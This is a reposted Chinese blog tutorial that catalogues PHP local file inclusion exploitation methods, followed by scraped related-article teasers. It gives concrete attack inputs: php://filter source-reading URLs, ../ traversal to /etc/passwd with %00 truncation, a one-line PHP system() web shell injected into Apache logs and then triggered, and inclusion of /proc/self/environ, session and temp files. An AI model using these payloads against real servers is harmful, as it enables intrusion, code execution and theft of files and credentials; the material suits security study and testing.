php Wrapper LFI,LFI漏洞利用总结(转载)
主要涉及到的函数
include(),require()、include_once(),require_once()
magic_quotes_gpc()、allow_url_fopen()、allow_url_include()、move_uploaded_file()
、readfile() file()、and file_get_contents()、upload_tmp_dir()、post_max_size()、and
max_input_time()等
典型漏洞代码:
?–>
黑盒判断方法:
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。
本地包含漏洞的利用(这里先忽略截断问题)
1、包含同服务器中上传的jpg、txt、rar等文件,这个是最理想的情况了。
2、包含系统的各种日志,如apache日志,文件系统日志等
其中apache当记录格式为combined,一般日志都会很大,基本无法包含成功。包含log是有自动化攻击程序的。
其中鬼子的博客中有提到一个空格的问题。见《邪恶的空格-PHP本地文件包含漏洞的新突破口》
解决空格问题其实把一句话base64加密后再写入就可以执行了。
3、包含/proc/self/environ .
这个环境变量有访问web的session信息和包含user-agent的参数。user-agent在客户端是可以修改的。参考:《Shell via LFI
–proc/self/environ method//http://hi.baidu.com/root_exp/blog/item
/9c0571fc2d42664fd7887d7d.html》
4、包含由php程序本身生成的文件,缓存、模版等,开源的程序成功率大。
5、利用本地包含读取PHP敏感性文件,需要PHP5以上版本。如看到“config”的源码如下
index.php?pages=php://filter/read=convert.base64-encode/resource=config
特别的情况用到readfile()
函数不是包含执行,可以直接读源码。
6、利用phpinfo页面getshell。一般大组织的web群存在phpinfo的机会挺大的。
poc和介绍参考《利用phpinfo信息LFI临时文件》//http://www.2cto.com/Article/201202/119213.html
7、利用包含出错,或者包含有未初始化变量的PHP文件,只要变量未初始化就可能再次攻击
具体见《include()本地文件包含漏洞随想》//http://www.2cto.com/Article/200809/29748.html
8、结合跨站使用 index.php?pages=http:// www.2cto.com
/path/xss.php?xss=phpcode (要考虑域信任问题)
9、包含临时文件文件。这个方法很麻烦的。参考 《POST method
uploads》//http://www.php.net/manual/en/features.file-upload.post-method.php
解决临时文件删除方法:慢连接
(注:前提是file_uploads = On,5.3.1中增加了max_file_uploadsphp.ini file_uploads =
On,5.3.1中增加了max_file_uploads,默认最大一次上传20个)
windows格式:win下最长4个随机字符( ‘a’-’z’,
‘A’-’Z’, ’0′-’9′)如:c:/windows/temp/php3e.tmp
linux格式:6个随机字符( ‘a’-’z’,
‘A’-’Z’, ’0′-’9′)
如:/tmp/phpUs7MxA
慢连接的两种上传代码参考:《PHP安全之LFI漏洞GetShell方法大阅兵》//www.2cto.com/Article/201106/94414.html
10、当前实在找不到写权限目录时候,注入到log中再寻找写权限目录。如注入<?php
$s=$_GET;@chdir($s['x']);echo @system($s['y'])?>到log.
Linux:
index.php?pages=/var/log/apache/logs/error_log%00&x=/&y=uname
windows:
index.php?pages=..\apache\logs\error.log%00&x=.&y=dir
具体参考《PHP本地文件包含(LFI)漏洞利用》http://www.2cto.com/Article/201202/119214.html
11、使用php
wrapper例如php://input、php://filter、data://等包含文件 在《PHP 5.2.0 and
allow_url_include》//http://blog.php-security.org/archives/45-PHP-5.2.0-
and-allow_url_include.html 其中文中提到的allow_url_fopen和allow_url_include只是保护了against
URL handles标记为URL.这影响了http(s) and ftp(s)但是并没有影响php或date
这些url形式。
12、LFI判断目录是否存在和列目录,如
**index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00
**这个方法在TTYshell上是可以完全是可以判断的,但是在URL上有时候不可行。即使不存在dossierexistant也可以回显passwd内容。
index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00
**FreeBSD
《directory listing with PHP file functions》http://websec.wordpress.com/2009
…php-file-functions/ 列目录
**存在逻辑判断的时候,如不存在该目录就会返回header.php+File not
found+footer.php
存在就会返回header.php+footer.php。这种逻辑很符合程序员的习惯。曾经用找到了一个目录很深的日志获得shell。
13、包含SESSION文件,php保存格式sess_SESSIONID
默认位置是/tmp/(PHP Sessions)、/var/lib/php/session/(PHP Sessions)、/var/lib/php5/(PHP
Sessions) 和c:/windows/temp/(PHP Sessions)等文件中。
14、包含/proc/self/cmdline
或者/proc/self/fd/找到log文件 (拥有者为root,默认情况要root才能访问)
具体参考Local
File Inclusion – 《Tricks of the Trade》http://labs.neohapsis.com/2008/0
…ricks-of-the-trade/ 还有其他提到包含/var/log/auth.log的,但是这个文件默认情况也是644.
15、包含maillog
通常位置/var/log/maillog 这个方法也很鸡肋,具体参考《local file inclusion tricks
》http://devels-playground.blogspo
…clusion-tricks.html
16、包含固定的文件,非常鸡肋,为了完整性也提下。如,可用中间人攻击。
include(“http://172.0.0.1/code.php “);
?>
关于截断
(简单介绍下,谷歌下很多文章提到了)
截断要考虑两个问题magic_quotes_gpc()和PHP版本。
1、%00空字符截断,除了这个截断在php
5.3.4以下版本好用外,以下截断都是有条件的。
2、windows
Linux文件名大于4096字符被截断
Windows:
文件名大于256字符被截断
参考的文档很多就不一一列举了。这个文章希望能给大家遇到LFI的时候有点帮助。
LFI漏洞利用总结
主要涉及到的函数 include(),require().include_once(),require_once() magic_quotes_gpc().allow_url_fopen().allo ...
JBoss远程方法调用漏洞利用详解
早上起床打开微博看到空虚浪子心大神发的一篇有关Jboss漏洞的文章,对我等菜鸟来说那边文章看起来还是很吃力的,所以查了查国内外的资料,翻译写了这边文章,记录一下. 在JBoss服务器上部署web应用程 ...
Windows漏洞利用与防护(2015.8)
Windows平台下的漏洞利用与防护 0x00 概述 在过去的二十几年,Windows作为网络安全的主战场之一,攻于防的较量从未停息过.内存破坏漏洞作为研究的重点之一,经历了很多的发展也沉淀了前辈们许 ...
【更新WordPress 4.6漏洞利用PoC】PHPMailer曝远程代码执行高危漏洞(CVE-2016-10033)
[2017.5.4更新] 昨天曝出了两个比较热门的漏洞,一个是CVE-2016-10033,另一个则为CVE-2017-8295.从描述来看,前者是WordPress Core 4.6一个未经授权的R ...
CVE-2017-11882漏洞利用
CVE-2017-11882漏洞利用 最新Office的CVE-2017-11882的poc刚刚发布出来,让人眼前一亮,完美无弹窗,无视宏,影响Ms offcie全版本,对于企业来说危害很大.在此简单 ...
Linux64位程序中的漏洞利用
之前在栈溢出漏洞的利用和缓解中介绍了栈溢出漏洞和一些常见的漏洞缓解 技术的原理和绕过方法, 不过当时主要针对32位程序(ELF32). 秉承着能用就不改的态度, IPv4还依然是互联网的主导, 更何况 ...
phpMyAdmin 4.8.x 本地文件包含漏洞利用
phpMyAdmin 4.8.x 本地文件包含漏洞利用 今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用 ...
phpMyAdmin 4.7.x CSRF 漏洞利用
作者:Ambulong phpMyAdmin是个知名MySQL/MariaDB在线管理工具,phpMyAdmin团队在4.7.7版本中修复了一个危害严重的CSRF漏洞(PMASA-2017-9),攻击 ...
KPPW2.5 漏洞利用--SQL注入
KPPW2.5 漏洞利用--SQL注入 SQL注入--布尔型盲注 环境搭建 1,集成环境简单方便,如wamp,phpstudy.... 2,KPPW v2.2源码一份(文末有分享)放到WWW目录下面 ...
随机推荐
Javascript常用方法函数收集(二)
Javascript常用方法函数收集(二) 31.判断是否Touch屏幕 function isTouchScreen(){ return (('ontouchstart' in window) || ...
EntityFramework中几种更改数据的方式
首先声明个实体类,该实体类是EntityFrameWork自动生成的,对应数据表Test结构如下 public partial class Test { public int Id{ get; set ...
网站为什么要做SEO
网站为什么要做seo,不做seo可以吗?因为seo是获得流量比较稳定.长久的方式,也是自身品牌的最好的方式.我们做的网站必须有用户访问或者被用户知道才有价值和意义,而想被用户所了解的话,必须做网络营销 ...
HDU 3573 Buy Sticks (逻辑)
题意:a,b,c三种棍子长度分别为20,28,32,现需要这三种棍子数根,欲买长为75的棍子来剪成这三种(不够长的就废弃) ,问需要买多少根. 思路:将所有棍子尽可能和其他搭配起来,使得数量减到最少. ...
19. vue的原理
vue:原理1 => Object.defineProperty 当你把一个普通的 JavaScript 对象传给 Vue 实例的 data 选项,Vue 将遍历此对象所有的属性,并使用 Obj ...
TRIZ理论的进化法则分析(TRIZ学习笔记)
人们在创新和完好系统的过程能够遵循一定的规律(或者叫法则).从而降低创新和完好系统过程中的试错成本,以下就TRIZ的八大进化原则来进行说明(这个八大法则是前人们的总结,我这里当然会增加我的理解). 我 ...
BPSK相干解调和DBPSK非相干解调误码率仿真
BPSK相干解调和DBPSK非相干解调误码率仿真 本脚本完成了BPSK和DBPSK两种不同调制方式下的误码率(DBPSK差分相干)仿真, 并和理论曲线进行了对比. 撰写人:*** 最后修改日期:201 ...
SpringMVC的启动过程
前言 下面是一个SpringMVC应用的配置文件,需要注意两个地方,一个是ContextLoaderListener,一个是dispatcherServlet.web容器正是通过这两个配置才和spri ...
(转)正则表达式—RegEx(RegularExpressio)(三)
php Wrapper LFI,LFI漏洞利用总结(转载)相关推荐
- fopen打开ftp文件_PHP文件包含漏洞利用思路与Bypass总结手册(一)
作者:Qftm 合天智汇 前言 这个手册主要是记录针对PHP文件包含漏洞的利用思路与Bypass手法的总结. 相关函数 四个函数 php中引发文件包含漏洞的通常主要是以下四个函数: 1.include ...
- PHP文件包含漏洞(利用phpinfo)复现
漏洞简介: PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来拿到权限.因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名 ...
- centos 阿帕奇无法解析php_PHP文件包含漏洞利用思路与Bypass总结手册(二)
作者:Qftm 合天智汇 接上一篇:https://www.toutiao.com/i6819918030252802571/ 包含Session 在了解session包含文件漏洞及绕过姿势的时候,我 ...
- PHP文件包含漏洞利用思路与Bypass总结手册(一)
本文作者:Qftm 目录 前言 相关函数 四个函数 函数功能 函数差异 漏洞原因 漏洞分类 包含姿势 php伪协议 php://filter file:// php://input file_get_ ...
- CORS漏洞利用检测和利用方式
CORS全称Cross-Origin Resource Sharing, 跨域资源共享,是HTML5的一个新特性,已被所有浏览器支持,不同于古老的jsonp只能get请求. 检测方式: 1.curl访 ...
- Flash Player漏洞利用Exploiting Flash Reliably
以下消息来自幻影论坛[Ph4nt0m]邮件组 前两天推荐过Mark Dowd的Paper "Exploiting Flash Reliably" [url]http://hi. ...
- 7. Vulnerability exploitation tools (漏洞利用工具 11个)
Metasploit于2004年发布时,将风暴带入了安全世界.它是开发,测试和使用漏洞利用代码的高级开源平台. 可以将有效载荷,编码器,无操作生成器和漏洞利用的可扩展模型集成在一起,使得Metaspl ...
- ASP.net 资源请求漏洞利用工具PadBuster
ASP.net 资源请求漏洞利用工具PadBuster 在ASP.net 网站中,为了便于部署网站项目,开发者往往会将资源(图片.Javascript文件)嵌入到dll文件中.而网页中,会使用WebR ...
- 安全学习概览——恶意软件分析、web渗透、漏洞利用和挖掘、内网渗透、IoT安全分析、区块链、黑灰产对抗...
1 基础知识 1.1 网络 熟悉常见网络协议: https://www.ietf.org/standards/rfcs/ 1.2 操作系统 1.3 编程 2 恶意软件分析 2.1 分类 2.1.1 木 ...
最新文章
- Python求100以内的素数和并输出
- SQL 2012 Group By Rollup, Grouping
- C/C++ 数据类型
- RGB to HSB or RGB to HSL
- NOIP2016洛谷P1600:天天爱跑步
- c++回到起点旅行商问题_不要犯同样的错,提C型房车回渝上牌长途旅行的心路历程...
- Kaggle新手入门
- 关系型数据库设计范式
- docker强制删除none的image镜像
- 苹果紧急修复远程漏洞,影响数十亿设备
- 牛客网–华为机试在线训练6:质数因子
- 变迁是这个时代最好的机遇
- java简单代码_几个简单的入门JAVA代码
- lqr算法 c语言,LQR最优控制原理介绍
- 定义方法-求矩形的面积
- 数据库设计——关系数据理论(超详细)
- 腾讯云数据库CDB介绍及数据库与应用数据库分析
- VS code + miktex + 内置pdf阅读器 配置latex编译环境
- 第一章习题讲解(2020版操作系统)
- java8 新特性 ibm_【Java8新特性】Streams(流)